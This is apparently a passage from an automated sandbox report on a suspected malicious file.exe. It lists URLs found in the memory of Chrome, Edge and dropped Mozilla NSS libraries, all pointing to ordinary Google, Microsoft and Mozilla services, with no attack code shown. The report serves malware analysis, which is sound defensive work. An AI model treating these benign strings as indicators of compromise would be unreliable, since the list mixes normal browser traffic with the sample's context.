Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2439641285.000066C400660000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000004.00000002.2439641285.000066C400660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEklyT
Source: chrome.exe, 00000004.00000003.2371806497.000066C4019A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000004.00000002.2434652724.0000409800238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371884720.000066C4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371481232.000066C4019A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371940074.000066C4019C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371858672.000066C4019B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371806497.000066C4019A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000004.00000003.2371884720.000066C4019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371481232.000066C4019A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371940074.000066C4019C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371858672.000066C4019B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371806497.000066C4019A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardf
Source: chrome.exe, 00000004.00000002.2435601251.0000409800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000004.00000002.2437243565.000066C400464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377329476.000066C401BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378082890.000066C401C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506341058.000066C401040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378268822.000066C401CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000004.00000003.2327463790.00004098006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2435580490.0000409800744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371634926.000066C400818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000004.00000002.2435642762.000040980078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000004.00000002.2435642762.000040980078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000004.00000002.2435580490.0000409800744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2329595624.000066C4001E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000004.00000002.2437243565.000066C400464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377329476.000066C401BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378082890.000066C401C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506341058.000066C401040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378268822.000066C401CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000004.00000002.2437076517.000066C40039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: msedge.exe, 00000007.00000002.2526109748.000005C000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2526109748.000005C000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000004.00000002.2437693663.000066C400554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440258343.000066C4007D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437559354.000066C400510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000004.00000002.2440258343.000066C4007D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440064402.000066C400740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437559354.000066C400510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000004.00000002.2440064402.000066C400740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhones
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000004.00000002.2440742061.000066C4008C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2439752266.000066C400674000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437559354.000066C400510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C400303000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441773835.000066C400A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 000003.log9.9.dr, 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: Session_13374694772692780.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000007.00000002.2526109748.000005C000394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000004.00000002.2445113446.000066C400DEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000004.00000002.2440223105.000066C4007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445113446.000066C400DEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000004.00000002.2444242800.000066C400D14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2514721746.000066C401C0D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2344578956.000066C400A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2446142016.000066C400F19000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2507123666.000066C401194000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2438599122.000066C4005CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000004.00000002.2446964678.000066C400F54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2442422255.000066C400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2344578956.000066C400A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2446142016.000066C400F19000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440983737.000066C40093C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2442057846.000066C400AFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2507936780.000066C40138C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436555078.000066C40028C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000002.2446964678.000066C400F54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2344578956.000066C400A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2446142016.000066C400F19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000004.00000003.2344578956.000066C400A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2446142016.000066C400F19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000004.00000002.2513738077.000066C40180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000004.00000002.2447634512.000066C400FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436786958.000066C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2344578956.000066C400A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2446142016.000066C400F19000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445460632.000066C400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000004.00000002.2436052720.000066C4000F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000002.2446964678.000066C400F54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2344578956.000066C400A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2446142016.000066C400F19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2449392329.000005C00026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C400303000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441773835.000066C400A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000004.00000002.2508171319.000066C401534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2513074207.000066C4016C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2446964678.000066C400F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000004.00000002.2446964678.000066C400F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=truef
Source: chromecache_458.6.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_458.6.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C400303000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441773835.000066C400A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000004.00000002.2440258343.000066C4007D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000004.00000002.2440258343.000066C4007D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436073164.000066C400104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443551282.000066C400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2437584869.000066C400524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443551282.000066C400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440534153.000066C400850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000004.00000002.2437243565.000066C400464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377329476.000066C401BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378082890.000066C401C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378268822.000066C401CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: file.exe, 00000000.00000003.2702958023.0000000023609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2702958023.0000000023609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: chrome.exe, 00000004.00000002.2441864862.000066C400A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chromecache_458.6.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2752337860.00000000233B3000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
